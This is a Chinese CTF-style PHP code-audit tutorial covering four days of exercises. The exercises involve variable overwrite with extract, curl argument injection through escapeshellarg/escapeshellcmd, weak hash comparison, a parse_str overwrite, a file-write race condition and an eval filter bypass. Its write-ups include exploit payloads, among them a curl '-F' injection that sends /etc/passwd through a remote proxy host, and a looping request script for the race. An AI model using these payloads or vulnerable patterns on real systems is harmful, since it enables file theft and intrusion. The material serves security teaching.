1. 程式人生 > >PHP程式碼審計Day5-8練習題

PHP程式碼審計Day5-8練習題

文章目錄

前言

改自先知社群-紅日安全-

Day5 – escapeshellarg與escapeshellcmd使用不當

<?php
highlight_file('5.php');
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
foreach(array('_POST', '_GET', '_COOKIE'
) as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } } if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);} if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract
($_GET, EXTR_SKIP); var_dump($_GET); echo '<br></br>'; if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['hongri']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['hongri'])){ $url = $_GET['url']; $urlInfo = parse_url($url); var_dump($urlInfo); echo '<br></br>'; if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){ die( "scheme error!"); } $url = escapeshellarg($url); $url = escapeshellcmd($url); echo $url; system("curl ".$url); } } ?>

解題

第一部分

10行-13行的一串程式碼

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }

}

分析下邏輯:

  • 首先第1行迴圈GET,POST,_COOKIE字串,依次的的賦予到$__R第2行再判斷$$__R是否存在(eg:_ G E T , GET),如果存在則將超全域性數組裡的鍵賦予給` k,比較鍵名名字的變數的值是否與陣列鍵對應的值相等,若相等則unset`(摧毀變數)

利用:

  • 通過GET請求提交flag=test,再POST請求提交_GET[flag]=test.這個時候GET陣列中就已經存在GET[flag]=test.當第1行迴圈到POST時,我們傳入的_GET[flag]$$__k中是就為$_GET[flag],而這個的值也是test則就會刪除這個變數.就沒有經過waf判斷
  • 22-23行這個變數又會被建立
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

這樣我們提交的_GET[flag]=test,就被提取成了$_GET[flag]=test.
加了點程式碼演示一下:

還有一個MD5的判斷,意思就是變數值不一樣,但MD5加密後要相等,利用科學計數法繞過,0e開頭的科學計數的值是相等的,所以找MD5加密後開頭為0e的

payload:

第二部分

  • 考察利用curl讀取檔案,主要就是利用escapeshellargescapeshellcmd.
  • curl中存在 -F 提交表單的方法,也可以提交檔案。 -F <key=value> 向伺服器POST表單,例如: curl -F "[email protected];type=text/html" url.com 。提交檔案之後,利用代理的方式進行監聽,這樣就可以截獲到檔案了,同時還不受最後的的影響。
    示範
http://baidu.com/' -F [email protected]/etc/passwd -x  vps:9999

payload

Day6 - 正則使用不當導致的路徑穿越問題

<?php
include 'flag.php';
if  ("POST" == $_SERVER['REQUEST_METHOD'])
{
    $password = $_POST['password'];
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
    {
        echo 'Wrong Format';
        exit;
    }
    while (TRUE)
    {
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
        if (6 > preg_match_all($reg, $password, $arr))
            break;
        $c = 0;
        $ps = array('punct', 'digit', 'upper', 'lower');
        foreach ($ps as $pt)
        {
            if (preg_match("/[[:$pt:]]+/", $password))
            $c += 1;
        }
        if ($c < 3) break;
        if ("42" == $password) echo $flag;
        else echo 'Wrong password';
        exit;
    }
}
highlight_file(__FILE__);
?>

PHP對字元類的定義,具體點這裡

[:alnum:] 字母和數字
[:alpha:] 代表任何英文大小寫字元,亦即 A-Z, a-z
[:lower:] 小寫字母
[:upper:] 大寫字母
[:blank:] 水平空白字元(空格和製表符)
[:space:] 所有水平和垂直的空白字元(比[:blank:]包含的範圍廣)
[:cntrl:] 不可列印的控制字元(退格、刪除、警鈴...)
[:digit:] 十進位制數字
[:graph:] 可列印的非空白字元
[:print:] 可列印字元
[:punct:] 標點符號
[:xdigit:] 十六進位制數字 

解題

主要考察了PHP正則表示式的字元類的熟練。

  • 第6行,正則表示式
  if (0 >= preg_match('/^[[:graph:]]{12,}/', password))

匹配可列印字元12個及以上,就是password的長度至少為12

  • 第13-15行,正則表示式
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
    break;

連續的符號、數字、大寫、小寫,作為一段,至有六段。比如TEst+-TEst01,分為TE,st,+-,TE,st,01這六段

  • 第17-23行,表示為輸入的字串至少含有符號、數字、大寫、小寫中的三種類型
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
    if (preg_match("/[[:$pt:]]+/", $password))
    $c += 1;
}
if ($c < 3) break;
  • 24行進行了弱比較,利用科學計數法使一長串字元的結果為42

payload

password=42.0e+000000
password=420.00000e-1

Day7 - parse_str函式缺陷

<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        usleep(100000);
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
   print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
    echo 'you can not see this page';
}
?>

解題

環境搭建沒成功,原文複製

  • 在 index.php 第4行存在 @parse_str($id); 這個函式不會檢查變數 $id 是否存在,如果通過其他方式傳入資料給變數 $id ,且當前 $id 中資料存在,它將會直接覆蓋掉。而在第6行有一段這樣程式碼。
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))

PHP Hash比較存在缺陷 ,它把每一個以”0E”開頭的雜湊值都解釋為0,所以如果兩個不同的密碼經過雜湊以後,其雜湊值都是以”0E”開頭的,那麼PHP將會認為他們相同,都是0。而這裡的 md5(‘QNKCDZO’) 的結果是 0e830400451993494058024219903391 。所以payload為?id=a[0]=s878926199a。這樣就可以在頁面上回顯。

echo '<a href="uploadsomething.php">flag is here</a>';
  • 而這題真正的考察點在這裡。在 uploadsomething.php 的第3行和第4行有這樣兩句程式碼如下:
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false)

這裡有個refer判斷,判斷 refer 是否存在,如果有展現上傳頁面,如果沒有,就返回 you can not see this page 。

據我們所知,通過a標籤點選的連結,會自己自動攜帶上refer欄位。然後 攜帶refer 和 不攜帶refer ,返回的結果不一樣。

攜帶refer 的情況:

不攜帶refer 的情況:

  • 然後在 uploadsomething.php 的第13行第18行有這樣程式碼如下:
$content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);

這裡有一句關鍵就是 usleep(100000); 這題需要在寫入 too slow 之前,訪問之前寫入的檔案,即可獲得flag,這裡就存在時間競爭問題。但是我們看到其實這裡的資料夾路徑是固定寫死的。

直接訪問會返回 too slow

因此這裡的解法是,開Burp的200執行緒,一個不斷髮包

http://127.0.0.1/parse_str/uploadsomething.php?filename=flag&content=111

或指令碼

import requests as r
r1=r.Session()
while (1):
    r2=r1.get("http://127.0.0.1/parse_str/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/flag")
    print r2.text
    pass

Day8 - preg_replace函式之命令執行

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";

?>
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>50){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
\\flag.php
function getFlag()
{
echo "HRCTF{f1lt3r_var_1s_s0_c00l}";
}
?>

解題

移步PHP不包括字母,數字和下劃線的webshell